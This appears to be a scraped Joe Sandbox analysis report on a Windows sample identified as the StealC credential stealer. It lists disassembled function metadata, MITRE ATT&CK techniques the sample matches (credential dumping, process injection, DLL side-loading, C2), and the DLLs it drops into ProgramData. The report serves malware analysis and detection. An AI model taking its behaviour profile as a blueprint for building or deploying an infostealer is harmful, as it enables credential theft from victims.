free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D6F5C

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 7d2fac8240a2e1f31520bf20fe76d3ce2ddcdbd5f76d9fe709f92776fce90e2a
Instruction ID: 57e569c2dd0974439395ac26f67001e059229f8b67392482b5e9c32dba2bd7b3
Opcode Fuzzy Hash: 7d2fac8240a2e1f31520bf20fe76d3ce2ddcdbd5f76d9fe709f92776fce90e2a
Instruction Fuzzy Hash: 0C31E771A10A0A8FDB04CF2CC9406AA73E9EB94348F51C53DD41AE7651EB31E569C7A1

Function 6C9EB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C990A4D), ref: 6C9EB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C990A4D), ref: 6C9EB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C990A4D), ref: 6C9EB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C990A4D), ref: 6C9EB67F

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 04aaeb9b9d2d741b7b1f1e4afb62106d045e3f576c5a649d146a9212186bc1d3
Instruction ID: 84d64801fb266ac13d026d76c77d37a185a91689271885d6af884d9b1a02602b
Opcode Fuzzy Hash: 04aaeb9b9d2d741b7b1f1e4afb62106d045e3f576c5a649d146a9212186bc1d3
Instruction Fuzzy Hash: 2C310871A013168FEB11CF58C84466AB7F9FF84728F16C529C80A9B301DB31E916CBE5

Function 6C9BF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9BF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C9BF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BF668

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2d2373de412715810038ed901cdc777780b9cf71cc17fb2cdaa6d1f01c4ecb81
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 26317375A00214AFCB24CF1DCDC0EAF77B9EF94358B148538FA498BB09D6B1E9458B90

Function 6C9D26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D26C1
free.MOZGLUE(?), ref: 6C9D26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D26FF
free.MOZGLUE ref: 6C9D270D

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 41cd9053438dd17a22c8a6d34cf9152365a1a20eda4f65a5b05b4dc7e552468c
Instruction ID: b9819027bd0c521734a22d18d41003f6ab7ef171fd14bbaa7be9aa58b4a7ec2b
Opcode Fuzzy Hash: 41cd9053438dd17a22c8a6d34cf9152365a1a20eda4f65a5b05b4dc7e552468c
Instruction Fuzzy Hash: E9F02DB2701F016BE7109E58D88495BB3ADFF5125CB618035FA1AE3B01E331FD1AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gYjK72gL17.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBKFHCFB

C:\ProgramData\EGDGIIJJECFIDHJJKKFC

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

C:\ProgramData\HDBGDHDAECBGDHJKFIDGCBFBKF

C:\ProgramData\JJKEBGHJ

C:\ProgramData\JJKEBGHJKFIDGCAAFCAF

C:\ProgramData\KKJKKJJKJEGIECAKJJEBFBAKKE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
gYjK72gL17.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre